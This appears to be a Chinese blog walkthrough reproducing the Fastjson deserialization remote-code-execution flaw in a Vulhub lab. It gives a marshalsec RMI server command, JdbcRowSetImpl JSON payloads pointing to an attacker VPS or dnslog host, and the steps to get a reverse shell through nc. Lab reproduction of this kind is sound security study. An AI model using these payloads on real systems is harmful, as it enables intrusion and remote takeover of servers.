fastjson反序列化漏洞
这里写自定义目录标题Fastjson<=1.2.47环境:1)Docker vulhub搭建环境2)jdk安装3)marshalsec与Exploit.java下载4)编译Exploit.java文件5)python开启web服务6)开启rmi服务7) nc开启端口监听8)漏洞探测9)反弹shellFastjson<=1.2.24Fastjson<=1.2.47环境:Centos
文章目录
Fastjson<=1.2.47
环境:
- Centos7 靶机(docker环境)
- Centos7 vps攻击机
- Vulhub fastjson-1.2.47
- marshalsec-0.0.3-SNAPSHOT-all.jar
- Exploit.java
- jdk-8u181-linux-x64.tar.gz
除了步骤1),其余步骤均在vps攻击机上完成
1)Docker vulhub搭建环境
进入到1.2.47-rce,输入命令docker-compose up -d搭建漏洞环境
成功搭建环境
2)jdk安装
Jdk版本需要注意,这里使用的是jdk-8u181-linux-x64.tar.gz(要求攻击机的javac是1.8的低版本,测试在1.8.0_181可成功,尽量低于1.8.0_191版本),下载安装可参考:参考链接
3)marshalsec与Exploit.java下载
下载地址:https://github.com/CaijiOrz/fastjson-1.2.47-RCE
Exploit.java内容:
4)编译Exploit.java文件
在exploit.java目录下,输入命令:javac ./Exploit.java,会生成一个Exploit.class文件,将以下三个文件放在同一个目录下
5)python开启web服务
端口可任意,注意需要与上面三个文件同一路径下开启web服务
python -m SimpleHTTPServer 1111 (python2)
python -m http.server 1111 (python3)
6)开启rmi服务
利用marshalsec文件开启rmi服务:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer “http://vpsIP:1111/#Exploit” 9999
7) nc开启端口监听
注意与exploit.java文件中的端口一致
8)漏洞探测
burp抓包,发送poc,修改request方法为post,content-type字段为json,先用dnslog进行探测。
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://kxrk9o.dnslog.cn/Exploit",
"autoCommit":true
}
}
9)反弹shell
POST / HTTP/1.1
Host: 靶机IP:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
DNT: 1
Connection: close
Content-Type: application/json
Content-Length: 264
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://vpsIP:9999/Exploit",
"autoCommit":true
}
}
vps上成功获取目标shell
Fastjson<=1.2.24
步骤与1.2.47一样,只是最后的poc不同
POST / HTTP/1.1
Host: 靶机IP:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
DNT: 1
Connection: close
Content-Type: application/json
Content-Length: 163
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://vpsIP:9999/Exploit",
"autoCommit":true
}
}
更多推荐
所有评论(0)